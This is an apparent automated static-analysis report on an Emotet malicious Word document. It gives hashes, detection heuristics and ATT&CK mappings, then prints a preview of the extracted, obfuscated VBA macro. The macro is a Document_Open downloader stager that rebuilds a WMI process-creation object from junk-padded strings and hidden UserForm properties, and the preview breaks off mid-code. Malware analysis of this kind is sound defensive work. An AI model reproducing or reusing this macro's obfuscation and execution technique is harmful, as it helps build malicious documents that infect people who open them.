Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 1cf37fe296a93146…

MALICIOUS

Office (OLE)

231.2 KB Created: 2020-08-14 14:37:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: faa127cdbe3c8c8a507c2508950db264 SHA-1: e8303aabf960c5f5f4f66362977d9ffdb2688551 SHA-256: 1cf37fe296a9314688e548eaca0ecca80830e967d88d46ac3a829fc32f5bf8a4
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The critical heuristic firings and ClamAV detection strongly support this classification. The VBA code appears to be designed to execute a second-stage payload, likely downloaded from a remote source.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9319349-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9319349-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8226 bytes
SHA-256: 5b8d48aa27feb87c50bb45444395f1192565f68bea8124b59642879321f39f1a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "K6xuoa8z41bwhxj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Fibv2r99f6c87p4t.Beq5_vexkyui4bq
End Sub


Attribute VB_Name = "Fibv2r99f6c87p4t"
Attribute VB_Base = "0{69F7F8DF-E1DE-4607-923C-A8A3A9C37B3B}{68F30352-3D7A-4521-B1AA-3F38215C9A57}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Beq5_vexkyui4bq()
   Fje19dlhrslb087a2 = 4
Do While Fje19dlhrslb087a2 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Fje19dlhrslb087a2 = Fje19dlhrslb087a2 + 8: DoEvents
Loop
Mmacmdbm3ckomvut0i = Fibv2r99f6c87p4t.HelpContextId + 100
   Fje19dlhrslb087a2 = 4
Do While Fje19dlhrslb087a2 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Fje19dlhrslb087a2 = Fje19dlhrslb087a2 + 8: DoEvents
Loop
E1csefydhxcwqhde = ChrW(Mmacmdbm3ckomvut0i + (100 + 35) / 9)
   Fje19dlhrslb087a2 = 4
Do While Fje19dlhrslb087a2 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Fje19dlhrslb087a2 = Fje19dlhrslb087a2 + 8: DoEvents
Loop
G_wzwm7ti2mi = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + E1csefydhxcwqhde + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + Fibv2r99f6c87p4t.N5jp35l3sz2lhegbo + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   Fje19dlhrslb087a2 = 4
Do While Fje19dlhrslb087a2 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Fje19dlhrslb087a2 = Fje19dlhrslb087a2 + 8: DoEvents
Loop
K5ppn7knp74 = Ctr0ucg3xhp(G_wzwm7ti2mi)
   Fje19dlhrslb087a2 = 4
Do While Fje19dlhrslb087a2 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Fje19dlhrslb087a2 = Fje19dlhrslb087a2 + 8: DoEvents
Loop
Set Sl4hjx4uxhyu7 = CreateObject(K5ppn7knp74)
   Fje19dlhrslb087a2 = 4
Do While Fje19dlhrslb087a2 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Fje19dlhrslb087a2 = Fje19dlhrslb087a2 + 8: DoEvents
Loop
A8pcnc96867shde = Fibv2r99f6c87p4t.Dlfk69u8cu7vcixezc.ControlTipText
   Fje19dlhrslb087a2 = 4
Do While Fje19dlhrslb087a2 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Fje19dlhrslb087a2 = Fje19dlhrslb087a2 + 8: DoEvents
Loop
Luw9rvbx0248_i8 = R4pyz7fcdttdx5tnc8 + (K5ppn7knp74 + E1csefydhxcwqhde + Fibv2r99f6c87p4t.X6h7jo5lbq9qcu.ControlTipText + A8pcnc96867shde)
   Fje19dlhrslb087a2 = 4
Do While Fje19dlhrslb087a2 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Fje19dlhrslb087a2 = Fje19dlhrslb087a2 + 8: DoEvents
Loop
Vte752b57k070jkc = Luw9rvbx0248_i8 + Fibv2r99f6c87p4t.N5jp35l3sz2lhegbo
   Fje19dlhrslb087a2 = 4
Do While Fje19dlhrslb087a2 < 4 + 3
gIMkDeCUuR = "teboqscF
... (truncated)